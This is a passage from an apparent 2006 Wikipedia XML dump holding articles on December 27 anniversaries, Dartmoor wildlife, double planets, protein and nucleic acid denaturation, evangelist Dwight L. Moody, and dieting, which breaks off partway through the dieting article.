[[Category:Developmental biology|*]]

{{Biology-footer}}

[[de:Entwicklungsbiologie]]
[[es:biología del desarrollo]]
[[fr:Biologie du développement]]
[[he:ביולוגיה התפתחותית]]
[[hu:Fejlődéstan]]
[[mk:Развојна биологија]]
[[nl:Ontwikkelingsbiologie]]
[[ja:発生生物学]]
[[lb:Entwécklungsbiologie]]
[[pl:Embriologia]]
[[pt:Biologia do desenvolvimento]]
[[simple:Developmental biology]]
[[sl:razvojna biologija]]
[[tr:Gelişim biyolojisi]]
[[zh:发育生物学]]</text>
    </revision>
  </page>
  <page>
    <title>December 27</title>
    <id>8452</id>
    <revision>
      <id>41820285</id>
      <timestamp>2006-03-01T23:27:05Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <comment>/* Births */ + Mark Few</comment>
      <text xml:space="preserve">[[December 27]] is the 361st day of the year in the [[Gregorian Calendar]]. (362nd in a leap year). There are 4 days remaining in the year.

{{DecemberCalendar}}

==Events==
*[[537]] - The [[Hagia Sophia]] is completed.  
*[[1703]] - [[Portugal]] and [[England]] sign the [[Methuen Treaty]] which gives preference to Portuguese imported [[wine]]s into England.  
*[[1831]] - [[Charles Darwin]] embarks on his journey aboard the [[HMS Beagle|HMS ''Beagle'']], where he will formulate the theory of [[evolution]].   
*[[1836]] - The worst ever [[avalanche]] in [[England]] occurs at [[Lewes]], [[Sussex]], killing 8 people.
*[[1845]] - [[diethyl ether|Ether]] [[anesthetic]] is used for childbirth for the first time (Dr. [[Crawford Williamson Long]] in [[Jefferson, Georgia]]).
*[[1904]] - [[James Barrie]]'s play ''[[Peter Pan]]'' premieres in [[London]].  
*1904 - The [[Abbey Theatre]] opens.
*[[1918]] - The [[Great Poland Uprising]] against the Germans begins.
*[[1932]] - [[Radio City Music Hall]] opens.
*[[1945]] - The [[World Bank]] is created with the signing of an agreement by 28 nations.  
*[[1947]] - [[Howdy Doody]], a children's [[television]] program, makes its debut ([[NBC]]).  
*[[1949]] - [[Indonesian National Revolution]]: Queen [[Juliana of the Netherlands]] grants [[Indonesia]] sovereignty.  
*[[1968]] - The long-running radio program ''[[The Breakfast Club (radio)|The Breakfast Club]]'' signs off for the last time ([[American Broadcasting Company|ABC]] radio).  
*[[1978]] - [[Spain]] becomes a [[democracy]] after 40 years of [[dictatorship]].
*[[1979]] - The [[Soviet Union]] seizes control of [[Afghanistan]] and [[Babrak Karmal]] replaces overthrown and executed President [[Hafizullah Amin]].  
*[[1985]] - [[Palestinian]] guerrillas [[Rome and Vienna airport attacks|kill eighteen people]] inside [[Rome]] and [[Vienna]] airports. 
*[[1996]] - [[Taliban]] forces retake the strategic [[Bagram air base]] which solidifies their buffer zone around [[Kabul]].  
*[[1997]] - Protestant paramilitary leader [[Billy Wright (terrorist)|Billy Wright]] is assassinated in Northern Ireland.
*[[2001]] - The [[People's Republic of China]] is granted permanent [[Normal Trade Relations|normal trade relations]] with the [[United States]].
*[[2002]] - Two [[car bomb|truck bombs]] kill 72 and wound 200 at the pro-Moscow headquarters of the Chechen government in [[Grozny]], [[Chechnya]].

==Births==
*[[1390]] - [[Anne de Mortimer]], claimant to the English throne (d. [[1411]])
*[[1571]] - [[Johannes Kepler]], German astronomer (d. [[1630]])
*[[1654]] - [[Jacob Bernoulli]], Swiss mathematician (d. [[1705]])
*[[1683]] - [[Conyers Middleton]], English minister (d. [[1750]])
*[[1715]] - [[Philippe de Noailles, duc de Mouchy]], French soldier (d. [[1794]])
*[[1717]] - [[Pope Pius VI]] (d. [[1799]])
*[[1721]] - [[François Hemsterhuis]], Dutch philosopher (d. [[1790]])
*[[1773]] - [[George Cayley]], English scientist, inventor, and politician (d. [[1857]])
*[[1822]] - [[Louis Pasteur]], French scientist (d. [[1895]])
*[[1823]] - Sir [[Mackenzie Bowell]], fifth [[Prime Minister of Canada]] (d. [[1896]])
*[[1832]] - [[Pavel Tretyakov]], Russiand businessman and patron of art (d. [[1897]])
*[[1879]] - [[Sydney Greenstreet]], English actor (d. [[1954]])
*[[1888]] - [[Thea von Harbou]], German author and actress (d. [[1954]])
*[[1896]] - [[Carl Zuckmayer]], German author and dramatist (d. [[1977]])
*1896 - [[Louis Bromfield]], American writer (d. [[1956]])
*[[1900]] - [[Hans Stuck]], German race car driver (d. [[1978]])
*[[1901]] - [[Marlene Dietrich]], German actress and singer (d. [[1992]])
*[[1906]] - [[Oscar Levant]], American pianist, composer, and actor (d. [[1972]])
*[[1907]] - [[Sebastian Haffner]], German journalist and writer (d. [[1999]])
*[[1910]] - [[Charles Olson]], American poet (d. [[1970]])
*[[1915]] - [[Masters and Johnson|William Masters]], American gynecologist (d. [[2001]])
*1915 - [[Gyula Zsengellér]], Hungarian footballer
*[[1917]] - [[Onni Palaste]], Finnish writer
*[[1920]] - [[Bruce Hobbs]], American jockey  (d. [[2005]])
*[[1925]] - [[Michel Piccoli]], French actor 
*[[1927]] - [[Agnes Nixon]], American television producer, director, and writer
*[[1934]] - [[Larisa Latynina]], Russian gymnast
*[[1939]] - [[John Amos]], American actor
*[[1941]] - [[Michael Pinder]], British musician ([[Moody Blues]])
*[[1943]] - [[Cokie Roberts]], American journalist
*1943 - [[Peter Sinfield]], British lyricist and producer
*1943 - [[Joan Manuel Serrat]], Spanish Musician
*1943 - [[Pete Quaife]], British musician ([[Kinks]])
*[[1944]] - [[Mick Jones (Foreigner)|Mick Jones]], British musician ([[Foreigner]])
*[[1948]] - [[Gérard Depardieu]], French actor
*[[1949]] - [[Carson Kievman]], American composer
*[[1950]] - [[Roberto Bettega]], Italian footballer
*1950 - [[Terry Bozzio]], American drummer ([[Missing Persons]])
*[[1951]] - [[Ernesto Zedillo]], President of Mexico from 1994-2000
*[[1952]] - [[David Knopfler]], British musician ([[Dire Straits]])
*[[1952]] - [[Karla Bonoff]], American singer/songwriter
*[[1959]] - [[Gerina Dunwich]], American author 
*1959 - [[Andre Tippett]], American football player
*[[1960]] - [[Maryam d'Abo]], British actress
*[[1962]] - [[Mark Few]], American basketball coach
*[[1965]] - [[Salman Khan]], Indian actor
*[[1966]] - [[Bill Goldberg]], American football player and professional wrestler
*[[1969]] - [[Sarah Vowell]], American author and journalist
*[[1971]] - [[Joanie Laurer]], American professional wrestler
*1971 - [[Duncan Ferguson]], Scottish footballer
*[[1972]] - [[Matt Slocum]], American musician ([[Sixpence None The Richer]])
*[[1973]] - [[Wilson Cruz]], Puerto Rican actor
*[[1975]] - [[Heather O'Rourke]], American actress (d. [[1988]])
*[[1979]] - [[David Dunn]], English footballer
*1979 - [[Carson Palmer]], American football player
*[[1981]] - [[Emilie de Ravin]], Australian actress

==Deaths==
*[[418]]  - [[Zosimus]], Greek pope
*[[1076]] - Prince [[Svyatoslav II of Kiev]] (b. [[1027]])
*[[1381]] - [[Edmund de Mortimer, 3rd Earl of March]], English politician
*[[1548]] - [[Francesco Spiera]], Italian protestant jurist (b. [[1502]])
*[[1603]] - [[Thomas Cartwright (churchman)|Thomas Cartwright]], English Puritan clergyman
*[[1707]] - [[Jean Mabillon]], French palaeograopher and diplomat (b. [[1632]])
*[[1737]] - [[William Bowyer (1663-1737)|William Bowyer]], English printer (b. [[1663]])
*[[1743]] - [[Hyacinthe Rigaud]], French painter (b. [[1659]])
*[[1771]] - [[Henri Pitot]], French engineer (b. [[1695]])
*[[1782]] - [[Henry Home, Lord Kames]], Scottish philosopher (b. [[1697]])
*[[1800]] - [[Hugh Blair]], Scottish preacher and man of letters (b. [[1718]])
*[[1812]] - [[Shneur Zalman of Liadi]], Lithuanian rabbi and founder of Chabad Hasidism (b. [[1745]])
*[[1836]] - [[Stephen F. Austin]], American pioneer (b. [[1793]])
*[[1858]] - [[Alexandre Pierre François Boëly]], French composer (b. [[1785]])
*[[1896]] - [[John Brown (industrialist)|John Brown]], British manufacturer (b. [[1816]])
*[[1900]] - [[William George Armstrong]], English inventor, industrialist, and engineer (b. [[1810]])
*[[1914]] - [[Charles Martin Hall]], American chemist and inventor (b. [[1863]])
*[[1923]] - [[Gustave Eiffel]], French engineer and architect (b. [[1832]])
*[[1925]] - [[Sergei Yesenin]], Russian poet (b. [[1895]])
*[[1938]] - [[Calvin Bridges]], geneticist (b. [[1889]])
*1938 - [[Osip Mandelstam]], Russian poet (b. [[1891]])
*[[1950]] - [[Max Beckmann]], German painter (b. [[1884]])
*[[1953]] - [[Julian Tuwim]], Polish poet (b. [[1894]])
*[[1955]] - [[Alfred Francis Blakeney Carpenter]], English soldier (b. [[1881]])
*[[1966]] - [[Guillermo Stábile]], Argentine footballer (b. [[1906]])
*[[1972]] - [[Lester B. Pearson]], fourteenth [[Prime Minister of Canada]], recipient of the [[1957]] [[Nobel Peace Prize]] (b. [[1897]])
*[[1974]] - [[Vladimir Aleksandrovich Fock]], Russian physicist (b. [[1898]])
*[[1978]] - [[Houari Boumédienne]],  President of Algeria (b. [[1932]])
*[[1981]] - [[Hoagy Carmichael]], American composer and singer (b. [[1899]])
*[[1988]] - [[Hal Ashby]], American film director (b. [[1929]])
*[[1992]] - [[Kay Boyle]], American writer (b. [[1902]])
*[[1997]] - [[Brendan Gill]], American columnist and humorist (b. [[1914]])
*1997 - [[Billy Wright (terrorist)|Billy Wright]], Irish Protestant paramilitary leader (b. [[1960]])
*[[2002]] - [[George Roy Hill]], American film director (b. [[1922]])
*[[2003]] - [[Alan Bates]], English actor (b. [[1934]])
*2003 - [[Ivan Calderon (baseball player)|Ivan Calderon]], Puerto Rican [[Major League Baseball]] player  (murdered) (b. [[1962]]
*[[2004]] - [[Hank Garland]], Nashville studio musician (b. [[1930]])
*[[2005]] - [[C. William Doody|William Doody]], Canadian polititian (b. [[1931]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - [[John the Apostle]] and Evangelist
* The second [[Twelve days of Christmas|day of Christmas]] in Western [[Christianity]].
* A [[bank holiday]] in Britain and elsewhere if [[25 December]] or [[26 December]] falls in the weekend.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/27 BBC: On This Day]
* [http://www.tnl.net/when/12/27 Today in History: December 27]
----

[[December 26]] - [[December 28]] - [[November 27]] - [[January 27]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:27 Desember]]
[[ar:27 ديسمبر]]
[[an:27 d'abiento]]
[[ast:27 d'avientu]]
[[bg:27 декември]]
[[be:27 сьнежня]]
[[bs:27. decembar]]
[[ca:27 de desembre]]
[[ceb:Disyembre 27]]
[[cv:Раштав, 27]]
[[co:27 di decembre]]
[[cs:27. prosinec]]
[[cy:27 Rhagfyr]]
[[da:27. december]]
[[de:27. Dezember]]
[[et:27. detsember]]
[[el:27 Δεκεμβρίου]]
[[es:27 de diciembre]]
[[eo:27-a de decembro]]
[[eu:Abenduaren 27]]
[[fo:27. desember]]
[[fr:27 décembre]]
[[fy:27 desimber]]
[[ga:27 Nollaig]]
[[gl:27 de decembro]]
[[ko:12월 27일]]
[[hr:27. prosinca]]
[[io:27 di decembro]]
[[id:27 Desember]]
[[ia:27 de decembre]]
[[is:27. desember]]
[[it:27 dicembre]]
[[he:27 בדצמבר]]
[[jv:27 Desember]]
[[ka:27 დეკემბერი]]
[[csb:27 gòdnika]]
[[ku:27'ê berfanbarê]]
[[la:27 Decembris]]
[[lt:Gruodžio 27]]
[[lb:27. Dezember]]
[[hu:December 27]]
[[mk:27 декември]]
[[ms:27 Disember]]
[[nap:27 'e dicembre]]
[[nl:27 december]]
[[ja:12月27日]]
[[no:27. desember]]
[[nn:27. desember]]
[[oc:27 de decembre]]
[[os:27 декабры]]
[[pl:27 grudnia]]
[[pt:27 de Dezembro]]
[[ro:27 decembrie]]
[[ru:27 декабря]]
[[se:Juovlamánu 27.]]
[[sco:27 December]]
[[sq:27 Dhjetor]]
[[scn:27 di dicèmmiru]]
[[simple:December 27]]
[[sk:27. december]]
[[sl:27. december]]
[[sr:27. децембар]]
[[fi:27. joulukuuta]]
[[sv:27 december]]
[[tl:Disyembre 27]]
[[tt:27. Dekäber]]
[[te:డిసెంబర్ 27]]
[[th:27 ธันวาคม]]
[[vi:27 tháng 12]]
[[tr:27 Aralık]]
[[uk:27 грудня]]
[[wa:27 di decimbe]]
[[war:Disyembre 27]]
[[zh:12月27日]]
[[pam:Disiembri 27]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmoor wildlife</title>
    <id>8453</id>
    <revision>
      <id>29570943</id>
      <timestamp>2005-11-29T07:30:06Z</timestamp>
      <contributor>
        <username>Jimfbleak</username>
        <id>7872</id>
      </contributor>
      <minor />
      <comment>skip redirect</comment>
      <text xml:space="preserve">The remoteness of '''[[Dartmoor]]''' and the fact that a great deal of it is undisturbed for much of the year is an encouragement to the '''wildlife'''. 

The more common mammals include: the [[Dartmoor pony]]; [[rabbit]]s; [[fox]]es; [[Eurasian Badger|badger]]s; [[grey squirrel]]s; [[weasel]]s; [[stoat]]s; [[hare]]s; and [[deer]]. Rumours abound of large wild cats such as [[puma]]s roaming wild on the moor, but little evidence has been forthcoming and until anything more substantial is available these reports should be filed under the general heading of [[cryptozoology]].

You will also see herds of [[cattle]] and [[domestic sheep|sheep]] apparently roaming free on the moor. In fact, all are owned by farmers and let out to graze. Each is branded - the sheep with a coloured patch on its coat, unique to its owner. The livestock will naturally remain within the territory in which they are released, although walls and cattle grids (a pit in the road covered with metal bars - impassable to hoofed animals) provide an additional level of control. 

Dartmoor has given its name to two breeds of sheep - the [[Whiteface Dartmoor and Greyface Dartmoor|Whiteface Dartmoor and the Greyface Dartmoor]] - which are descended from breeds which have roamed on the moor since at least the [[17th century]]. They are still to be found there, but are now vastly outnumbered by the [[Scottish Blackface]]. Less common species such as [[Exmoor Horn]] and [[Cheviot sheep|Cheviot]] are also to be found on Dartmoor. The most common cattle are the [[Galloway (cattle)|Galloway]] and [[Angus cattle|Aberdeen Angus]].

Reptiles include: [[Grass Snake]]s, [[Crossed Viper|adders]], [[slow worm]]s and  [[Common Lizard]]s.

Amphibians include: [[Common frog]]; [[Common toad]] 

With its range of high grassy moorland, bogs, farmland and deep wooded valleys, Dartmoor also provides a range of habitats for rare birds. Some of those you will find (plus their favoured nesting spots) include:
*[[Common Buzzard|Buzzard]] (trees and hedgerows)
*[[Coal tit]] (pine plantations)
*[[Great Cormorant|Cormorant]] (reservoirs)
*[[Common Crossbill|Crossbill]] (pine plantations)
*[[Eurasian Curlew|Curlew]] (valley bogs)
*[[White-throated Dipper|Dipper]]s (rivers and streams)
*[[Dunlin]] (bogs)
*[[Goldcrest]] (pine plantations)
*[[Eurasian Golden Plover|Golden Plover]] (bogs)
*[[Common Merganser|Goosander]] (rivers and streams)
*[[Grasshopper Warbler]] (farmland)
*[[Grey Heron]] (rivers and streams)
*[[House martin]] (farm buildings)
*[[Meadow pipit]] (upland heathland)
*[[European Nightjar|Nightjar]] (pine plantations)
*[[Owl]]s (farm buildings)
*[[Peregrine falcon]] ([[tor]]s and rocky outcrops)
*[[Pied flycatcher]] (woodland)
*[[Common Raven|Raven]] (tors and rocky outcrops)
*[[Common Redstart|Redstart]] (woodland)
*[[Reed bunting]] (farmland)
*[[Ring ouzel]] (tors and rocky outcrops) 
*[[Eurasian Siskin|Siskin]] (pine plantations)
*[[Skylark]] (upland heathland)
*[[Common Snipe|Snipe]] (farmland and valley bogs)
*[[Song thrush]] (hedgerows and dry stone walls)
*[[European Stonechat|Stonechat]] (upland heathland)
*[[Barn Swallow|Swallow]] (farm buildings)
*[[Northern Wheatear|Wheatear]] (grass moorland, tors and rocky outcrops)
*[[Whinchat]] (grass moorland)
*[[Whitethroat]]s (grass moorland)
*Wild [[duck]]s (reservoirs)
*[[Wood warbler]] (woodland)
*[[Yellowhammer]] (grass moorland)


Many of the rivers and streams support the fish species commonly to be found in Britain and Ireland; [[salmon]] and [[trout]] are also to be found in some, though less frequently than in previous times.
[[Category:Dartmoor]]</text>
    </revision>
  </page>
  <page>
    <title>Double planet</title>
    <id>8454</id>
    <revision>
      <id>38835951</id>
      <timestamp>2006-02-08T23:23:35Z</timestamp>
      <contributor>
        <username>Drae</username>
        <id>897178</id>
      </contributor>
      <minor />
      <comment>http://en.wikipedia.org/w/index.php?title=Super_Mario_128&amp;diff=38828480&amp;oldid=38477045</comment>
      <text xml:space="preserve">The term '''double planet''' is an informal term with several accepted usages which share the meaning of two interacting planets of comparable mass.

There are also '''double [[asteroid]]s''' (or double [[minor planet]]s), such as [[90 Antiope]].

== Two planets orbiting one another ==
In the most common usage, a double planet is a set of two [[planet|planets]] of comparable mass orbiting one another.

[[Pluto (planet)|Pluto]] and [[Charon (moon)|Charon]] have consistently been recognized in the literature as representing the only real double planet system in our [[Solar System]] today.

=== Debate ===
In this usage, there has been some debate on precisely where to draw the line between a double planet and a planet-moon system. In most cases, it's simply not an issue because the moon is of very small mass relative to its host planet. In particular, the Earth-Moon and Pluto-Charon systems are the only examples in our present Solar System where the mass of a moon is larger than one fortieth of one percent of the mass of the host planet (i.e. mass ratio of 0.00025 or less). On the other hand, the [[Earth]] and the [[Moon]] have a mass ratio of 0.01230, and [[Pluto (planet)|Pluto]] and its moon [[Charon (moon)|Charon]] have a mass ratio of 0.147. A commonly accepted cutoff point is when the center of mass that the two objects orbit around (the [[barycenter]]) is not located under the surface of either body, in which case the barycenter is in space between the two bodies. This literally makes the difference between whether one body orbits around the other body, or whether both bodies orbit about a point in space between them. By this definition, Pluto and Charon qualify as a double planet and Earth and Moon do not. (The issue of whether Pluto should be [[definition of planet|defined as a planet]] at all, or is instead simply a very large [[Kuiper belt object]]s, is a separate matter).

== Two planets colliding with each other ==
The second usage for the term double planet, in the context of the theory of the origin of [[the Moon]] (i.e. Earth's Moon), is a set of two planets of comparable mass that collide with each other - i.e. with at least transiently overlapping orbits. A double planet in this sense occurred in the very early [[Solar System]], consisting of the [[proto-Earth]] and a second, [[Mars]]-sized planet that collided with it at an oblique angle, in the consensus theory of the formation of the [[Earth]]-[[Moon]] system. The second body was not a proto-Moon because most of its mass was incorporated into the Earth, while the Moon formed from a small fraction of debris kicked up from the Earth by the collision. These double planet precursor bodies to the Earth-Moon system had roughly comparable mass - i.e. a mass ratio in the neighborhood of 10:1. This happens to be similar to the mass ratio of Pluto-Charon.

== Two planets orbiting a star ==
A third usage has arisen since 1995 when we began to discover [[extrasolar planets]] in other Solar Systems. In this context, the term double planet system is used to refer to another Solar System in which two planets have been discovered orbiting the star. [[As of 2003]], there were ten known star systems outside our own with at least two detected planets, qualifying at least as double planet systems. Multiple planet systems with more than two planets have been discovered as well, including the [[Upsilon Andromedae]], Rho-1 Cancri (or [[55 Cancri]]), and [[Mu Arae]] systems.

== Asimov's proposed definition ==
The late [[Isaac Asimov]] suggested a distinction between planet-moon systems and double-planet systems based on what he called a ''tug-of-war (TOW)'' value that describes whether the presumed satellite is more firmly under the gravitational influence of the presumed planetary primary or the Sun. In the case of the Moon, the Sun &quot;wins&quot; the tug of war, ''i.e.,'' its gravitational hold on the Moon is greater than that of Earth. The opposite is true for other presumed satellites in the Solar System (with a few exceptions), including the Pluto-Charon system. By this definition, the Earth and Moon form a double-planet system, but Pluto and Charon represent a true primary with a satellite.

This definition has not received wide attention in the professional literature.

==References==
*[http://www.nature.com/cgi-taf/DynaPage.taf?file=/nature/journal/v385/n6619/full/385778a0.html&amp;content_filetype=PDF] - &quot;[[Clyde Tombaugh]] (1906-97) Astronomer who discovered the Solar System's ninth planet&quot;, ''[[Nature_(journal)|Nature]]'' 385 (1997) 778 (Pluto and Charon are &quot;the only known example of a true double planet&quot;.)
*[http://www.nature.com/dynasearch/app/dynasearch.taf?sp-w=Exact&amp;_action=search&amp;search_fulltext=%22double+planet%22&amp;search_category=&amp;sp-p=Any&amp;search_volume=&amp;search_startpage=&amp;search_title=&amp;search_author=&amp;search_abstract=&amp;issue_start_month=&amp;issue_start_year=&amp;issue_end_month=&amp;issue_end_year=&amp;pickerCount=You+have+selected+1+journal+to+search.&amp;rolloverMessage=&amp;sp_k=NATURE] - &quot;It's not easy to make the Moon&quot;, ''Nature'' 389 (1997) 327 (comparing double planet theory of Moon formation and Pluto-Charon as double planet)
*[http://www.nature.com/cgi-taf/DynaPage.taf?file=/nature/journal/v338/n6210/abs/338029a0.html] - &quot;Geochemical implications of the formation of the Moon by a single giant impact&quot;, ''Nature'' 338 (1989) 29
*[http://www.arxiv.org/PS_cache/astro-ph/pdf/0308/0308127.pdf] - &quot;Occurrence and Stability of Apsidal Resonance in Multiple Planetary Systems&quot;, ''[[Astrophysical Journal]]'' 598 (2003) 1290

[[Category:Planets]]

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  <page>
    <title>Denaturation (biochemistry)</title>
    <id>8456</id>
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        <username>Marcika</username>
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      <comment>[[WP:AWB|AWB assisted]] typo fix: &quot;the the&quot;</comment>
      <text xml:space="preserve">[[Image:Fried egg, sunny side up.jpg|thumb|150px|Irreversible egg protein denaturation and loss of solubility, caused by the high temperature (while [[cooking]] it)]]
In [[biochemistry]], '''denaturation''' is a structural change in [[biomolecule]]s such as [[nucleic acid]]s and [[protein]]s, such that they are no longer in their [[native state]], and their shape which allows for optimal activity.

This change is usually caused by [[heat]], [[acid]]s, [[base (chemistry)|base]]s, [[detergent]]s, alcohols, heavy metal salts, reducing agents or certain chemicals such as [[urea]].

==Protein denaturation==
Proteins denature when they lose their three-dimensional structure - their [[chemical conformation]] and thus their characteristic [[protein folding|folded]] structure. Proteins may be denatured at the [[secondary structure|secondary]], [[tertiary structure|tertiary]] and [[quaternary structure|quaternary]] structural levels, but not at the [[primary structure|primary]] structural level.

[[Protein]]s are long strands of [[amino acid]]s linked together in specific sequences. A protein is created by [[ribosome]]s that &quot;read&quot; [[codon]]s in the gene and assemble the requisite amino acid combination from the [[DNA|genetic]] instruction, in a process known as [[Translation (genetics)|translation]]. The newly created protein strand then undergoes post-translational modification in which additional [[atom]]s or [[molecule]]s are added, for example [[copper]], [[zinc]], [[iron]]. Once this post-translational modification process has been completed, the protein begins to fold (spontaneously, and sometimes with [[enzymatic]] assistance), curling up on itself so that [[hydrophobic]] elements of the protein are buried deep inside the structure and [[hydrophilic]] elements end up on the outside. The final shape of a protein determines how it interacts with its environment. If the shape of the protein is altered through some form of external stress (for example, by applying heat, acid or [[alkali]]) then it will no longer be able to carry out its cellular function. This is called denaturation of the protein.  

Denatured proteins can exhibit a wide range of characteristics, from loss of [[solubility]] to [[communal aggregation]].  

===How denaturation occurs at levels of protein structure===
*In '''quaternary''' structure denaturation, protein sub-units are dissociated and/or the spatial arrangement of protein subunits is disrupted. 
*'''Tertiary''' structure denaturation involves the disruption of:
:*[[Covalent]] interactions between amino acid side chains (such as [[disulfide bridge]]s between [[cysteine]] groups)
:*Noncovalent [[dipole]]-dipole interactions between polar amino acid side chains (and the surrounding [[solvent]])
:*[[Van der Waals force|Van der Waals (induced dipole) interactions]] between nonpolar amino acid side chains. 
*In '''secondary''' structure denaturation, proteins lose all regular repeating patterns such as [[alpha helix|alpha-helices]] and [[beta sheet|beta-pleated sheets]], and adopt a [[random coil]] configuration. 
*'''Primary''' structure, such as the sequence of amino acids held together by covalent [[peptide bond]]s, is not disrupted by denaturation.

===Loss of function===
Most biological proteins lose their biological function when denatured, For example, [[enzyme]]s lose their [[catalysis|catalytic activity]], because the substrates can no longer bind to the [[active site]],  and because amino acid residues involved in stabilizing substrates' [[transition state]]s are no longer positioned to be able to do so.

===Reversibility and irreversibility===
In many proteins (unlike egg whites), denaturation is reversible (the proteins can regain their native state when the denaturing influence is removed). This was important historically, as it led to the notion that all the information needed for proteins to assume their native state was encoded in the primary structure of the protein, and hence in the [[DNA]] that codes for the protein.

===Some common examples===
When food is cooked, some of its proteins become denatured. This is why boiled eggs become hard and cooked meat becomes firm.

A classic example of denaturing in proteins comes from [[egg white]]s, which are largely egg [[albumin]]s in water. Fresh from the eggs, egg whites are transparent and [[liquid]]. But by cooking they are turned opaque and white, and form an interconnected [[solid]] mass. The same transformation can be effected with a denaturing chemical. Pouring egg whites into a beaker of [[acetone]] will also turn egg whites opaque and solid. The skin which forms on [[curdled]] milk is another common example of denatured protein.

==Nucleic acid denaturation==
The denaturation of nucleic acids such as [[DNA]] due to high temperatures, is the separation of a double strand into two single strands, which occurs when the [[hydrogen bond]]s between the strands are broken. This may occur during [[polymerase chain reaction]]. Nucleic acid strands realign when &quot;normal&quot; conditions are restored during [[annealing (biology)|annealing]]. If the conditions are restored too quickly, the nucleic acid strands may realign imperfectly.

[[Category:Biochemistry]]

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    <title>Diploidy</title>
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  <page>
    <title>Dwight L. Moody</title>
    <id>8459</id>
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      <comment>made &quot;President&quot; part of the link</comment>
      <text xml:space="preserve">[[Image:Dwight Lyman Moody c. 1900.jpg|thumb|250px|Dwight Lyman Moody, circa 1890s.]]	 
'''Dwight Lyman Moody''' ([[February 5]], [[1837]] - [[December 22]], [[1899]]), also known as D.L. Moody, was an [[United States|American]] [[evangelist]] and [[publisher]] who founded the Moody Church, Northfield School and Mount Hermon School in Massachusetts (now the [[Northfield Mount Hermon]] School), the [[Moody Bible Institute]] and Moody Press.

Moody's work in [[Chicago, Illinois]] led to the largest [[Sunday School]] of his time.  He labored so abundantly that within a year the average attendance at his school was 650, while sixty volunteers from various churches served as teachers. It became so well known that the just-elected [[Abraham Lincoln|President Lincoln]] visited and spoke at a Sunday School meeting on November 25, 1860.

After the [[American Civil War|Civil War]] started, he was involved with the U.S. Christian Commission of the [[YMCA]], and ministered at several battlefields. 
He started a church in Chicago that was burnt down in the [[Great Chicago Fire]]. It was rebuilt within three months. His lay follower [[William Eugene Blackstone]] was a prominent American [[Zionist]].

It was in a trip to [[England]] that he became well known as an evangelist, to the point that some have claimed he was the greatest evangelist of the [[19th century]].  His preaching had an impact as great as that of [[George Whitefield]] and [[John Wesley]] within Britain, Scotland and Ireland.  On several occasions he filled stadiums of 2,000 to 4,000 capacity. In the Botanic Gardens Palace, a meeting had between 15,000 to 30,000 people.  This turnout continued throughout 1874 and 1875, with crowds of thousands at all of his meetings. When he returned to the United States,  crowds of 12,000 to 20,000 were just as common as in England.  President [[Ulysses S. Grant|Grant]] and some of his cabinet attended a meeting on January 19, 1876.  His evangelistic meetings were held from Boston to New York, throughout New England and as far as San Francisco, and other West coast towns from Vancouver to San Diego.

He preached his last sermon on [[November 16]], [[1899]].  It has been claimed he was instrumental in converting one million people to the Christian religion, although this is unprovable, due to lack of centralized record keeping.

* http://www.moody.edu/
* http://www.moodychurch.org/

==See also==
[[Horatio Spafford]] - Spafford, a friend of Moody, wrote the words to the hymn ''&quot;It Is Well With My Soul&quot;''

[[Category:1837 births|Moody, Dwight L.]]
[[Category:1899 deaths|Moody, Dwight L.]]
[[Category:Born-again Christians|Moody, Dwight L.]]
[[Category:Christian evangelicalism|Moody, Dwight L.]]
[[Category:Christian leaders]]
[[Category:Christian ministers|Moody, Dwight L.]]
[[Category:Christian writers]]
[[Category:People from Massachusetts|Moody, Dwight L.]]

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  <page>
    <title>Dieting</title>
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        <username>Kuzaar</username>
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      <comment>rv to Monkeyman- spam</comment>
      <text xml:space="preserve">[[Image:feetonscale.jpg|thumb|right|Measuring body weight on a [[weighing scale|scale]]]]

'''Dieting''' is the practice or habit of [[eating]] (and [[drinking]]) in a regulated fashion. Though some definitions restrict dieting to weight loss programs, these are not the only types of diets. Diets may be of a religious nature, they may be medically necessary, or they may even be designed to promote weight gain. Reasons people seek to lose weight include the improvement of personal appearance, physical fitness and general health.

==Types of Diets==

Several kinds of diets exist:

*Weight loss diets restrict the intake of specific foods, or food in general, or reduce body weight. This is what [[#Fad diets]] are marketed for. There exists a (sometimes confusing) multitude of weight loss techniques, many of which are ineffective.  What works for one person will not necessarily work for another, due to metabolic differences and lifestyle factors.

*Certain religions (such as [[Judaism]], [[Hinduism]] and [[Islam]]) impose strict restrictions on food choices and preparation, in accordance with edict and tradition.

*[[Vegetarianism]] is typically adopted in pursuit of general good health, for spiritual or ethical reasons, when other food choices are not available, or as a matter of personal taste.

*[[Anorexia nervosa|Anorexia]] and [[bulimia nervosa|bulimia]] are psychological (and possibly neurological) disorders in which victims endanger their lives through dangerous diet patterns.

*Many professional athletes impose weight-gain diets on themselves. For example, [[wrestler]]s may overeat in order to achieve a higher weight class. Extreme [[bodybuilder]]s must maintain a high-calorie diet to sustain their physical activity. Football players may try to &quot;bulk up&quot; through weight-gain diets in order to gain an advantage on the field with a higher mass.

*Medical conditions often require the following of special [[diet (nutrition)|diets]]. Each of these such diets will specifically include or exclude or regulate certain chemicals (and the foods that contain them). For example, a person who has [[diabetes]] is often on a diet designed to carefully manage their [[blood sugar]] level. Sufferers of [[celiac disease]] must follow a [[gluten]]-free diet, the [[lactose intolerance|lactose-intolerant]] are advised to omit [[milk]] products, and people with [[kidney disease]] must follow a strict low-[[sodium]] diet to ease the strain on their kidneys. Treatment of mild [[Arterial hypertension|hypertension]] includes adhering to a diet rich in [[fruit|fruits]] and [[vegetable|vegetables]] and low in fat and sodium. This diet may be tailored to focus on weight loss if that is necessary to control [[blood pressure]].

==History==
The practice of dieting in order to lose weight is ancient in its origins. Throughout the 17th and 18th centuries, physicians and patients regulated their food carefully, in order to prevent disease. In the 19th century, as the scientific classification of foods took shape, doctors and scientists began experimenting with targeted diets.

[[William Banting]] is one of the first people known to have successfully lost weight by dieting, circa [[1863]], by targeting carbohydrates. The [[low carbohydrate diet]], sometimes marketed today as the [[Atkins]] Diet, remains popular today.

==Scientific principles of weight loss==
A successful weight loss diet requires that energy expenditure exceeds energy intake (from food). It generally requires burning 3,500 calories (14 630 kilojoules) more than is consumed to lose one pound (0.453592 kilograms), or burning 37 000 kilojoules more than is consumed to lose one kilogram. 

===Thermoregulation===
